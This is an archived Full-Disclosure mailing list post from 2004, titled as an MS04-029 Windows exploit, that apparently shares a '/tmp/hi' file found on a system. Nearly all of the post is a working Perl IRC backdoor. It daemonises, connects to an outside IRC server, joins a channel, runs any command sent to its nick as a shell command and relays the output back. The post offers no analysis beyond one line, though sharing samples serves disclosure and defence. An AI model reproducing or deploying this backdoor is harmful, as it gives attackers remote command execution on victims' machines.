full-disclosure - New REmote Windows Exploit (MS04-029)

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [thread-next>] [day] [month] [year] [list]

From: richwoodridge at yahoo.com.au (Rich Parsons)
Subject: New REmote Windows Exploit (MS04-029)

Interesting /tmp/hi file.

#!/usr/bin/perl
$chan="#0x";$nick="k";$server="ir3ip.net";$SIG{TERM}={};exit
if fork;use IO::Socket;$sock =
IO::Socket::INET->new($server.":6667")||exit;print
$sock "USER k +i k :kv1\nNICK
k\n";$i=1;while(<$sock>=~/^[^ ]+ ([^ ]+)
/){$mode=$1;last if
$mode=="001";if($mode=="433"){$i++;$nick=~s/\d*$/$i/;print
$sock "NICK $nick\n";}}print $sock "JOIN
$chan\nPRIVMSG $chan :Hi\n";while(<$sock>){if (/^PING
(.*)$/){print $sock "PONG $1\nJOIN $chan\n";}if(s/^[^
]+ PRIVMSG $chan :$nick[^ :\w]*:[^ :\w]*
(.*)$/$1/){s/\s*$//;$_=`$_`;foreach(split "\n"){print
$sock "PRIVMSG $chan :$_\n";sleep 1;}}}


Find local movie times and trailers on Yahoo! Movies.
http://au.movies.yahoo.com